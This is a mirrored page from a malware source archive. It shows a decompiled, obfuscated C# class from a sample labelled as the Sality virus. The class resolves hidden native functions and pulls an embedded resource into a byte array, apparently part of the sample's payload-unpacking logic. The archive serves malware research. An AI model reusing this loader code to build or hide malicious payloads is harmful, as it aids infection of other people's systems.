mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
141 lines
4.4 KiB
C#
141 lines
4.4 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe
|
||
|
||
using \u0006;
|
||
using \u0007;
|
||
using \u0008;
|
||
using SmartAssembly.SmartExceptionsCore;
|
||
using System;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
|
||
namespace \u0007
|
||
{
|
||
internal sealed class \u0005 : \u0001
|
||
{
|
||
private \u0005.\u0002 \u0001;
|
||
private \u0005.\u0001 \u0001;
|
||
private \u0005.\u0004 \u0001;
|
||
private \u0005.\u0003 \u0001;
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public \u0005()
|
||
{
|
||
\u0003.\u0003();
|
||
// ISSUE: explicit constructor call
|
||
base.\u002Ector();
|
||
object[] objArray1;
|
||
object[] objArray2;
|
||
object[] objArray3;
|
||
object[] objArray4;
|
||
try
|
||
{
|
||
\u0005.\u0001 = (\u0001) new \u0001();
|
||
\u0001 obj1 = \u0005.\u0001;
|
||
objArray1 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(374),
|
||
(object) \u0002.\u0003(394),
|
||
(object) typeof (\u0005.\u0002)
|
||
};
|
||
object[] objArray5 = objArray1;
|
||
this.\u0001 = (\u0005.\u0002) obj1.\u0003(objArray5);
|
||
\u0001 obj2 = \u0005.\u0001;
|
||
objArray2 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(424),
|
||
(object) \u0002.\u0003(444),
|
||
(object) typeof (\u0005.\u0001)
|
||
};
|
||
object[] objArray6 = objArray2;
|
||
this.\u0001 = (\u0005.\u0001) obj2.\u0003(objArray6);
|
||
\u0001 obj3 = \u0005.\u0001;
|
||
objArray3 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(472),
|
||
(object) \u0002.\u0003(492),
|
||
(object) typeof (\u0005.\u0004)
|
||
};
|
||
object[] objArray7 = objArray3;
|
||
this.\u0001 = (\u0005.\u0004) obj3.\u0003(objArray7);
|
||
\u0001 obj4 = \u0005.\u0001;
|
||
objArray4 = new object[3]
|
||
{
|
||
(object) \u0002.\u0003(520),
|
||
(object) \u0002.\u0003(540),
|
||
(object) typeof (\u0005.\u0003)
|
||
};
|
||
object[] objArray8 = objArray4;
|
||
this.\u0001 = (\u0005.\u0003) obj4.\u0003(objArray8);
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
object[] objArray9 = objArray1;
|
||
object[] objArray10 = objArray2;
|
||
object[] objArray11 = objArray3;
|
||
object[] objArray12 = objArray4;
|
||
throw UnhandledException.\u0003(ex, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this);
|
||
}
|
||
}
|
||
|
||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||
public override object \u0003([In] object[] obj0)
|
||
{
|
||
IntPtr num1;
|
||
IntPtr num2;
|
||
IntPtr source;
|
||
int length;
|
||
byte[] destination;
|
||
try
|
||
{
|
||
destination = new byte[0];
|
||
object obj;
|
||
try
|
||
{
|
||
num1 = this.\u0001(IntPtr.Zero, (IntPtr) (int) obj0[0], (IntPtr) 4);
|
||
num2 = this.\u0001(IntPtr.Zero, num1);
|
||
source = this.\u0001(num2);
|
||
length = this.\u0001(IntPtr.Zero, num1);
|
||
destination = new byte[length];
|
||
Marshal.Copy(source, destination, 0, length);
|
||
}
|
||
catch
|
||
{
|
||
obj = (object) destination;
|
||
goto label_4;
|
||
}
|
||
return (object) destination;
|
||
label_4:
|
||
return obj;
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
byte[] numArray = destination;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<IntPtr> local1 = (ValueType) num1;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<IntPtr> local2 = (ValueType) num2;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<IntPtr> local3 = (ValueType) source;
|
||
// ISSUE: variable of a boxed type
|
||
__Boxed<int> local4 = (ValueType) length;
|
||
object obj1;
|
||
object obj2 = obj1;
|
||
object[] objArray = obj0;
|
||
throw UnhandledException.\u0003(ex, (object) numArray, (object) local1, (object) local2, (object) local3, (object) local4, obj2, (object) this, (object) objArray);
|
||
}
|
||
}
|
||
|
||
private delegate IntPtr \u0001(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate IntPtr \u0002(IntPtr _param1, IntPtr _param2, IntPtr _param3);
|
||
|
||
private delegate int \u0003(IntPtr _param1, IntPtr _param2);
|
||
|
||
private delegate IntPtr \u0004(IntPtr _param1);
|
||
}
|
||
}
|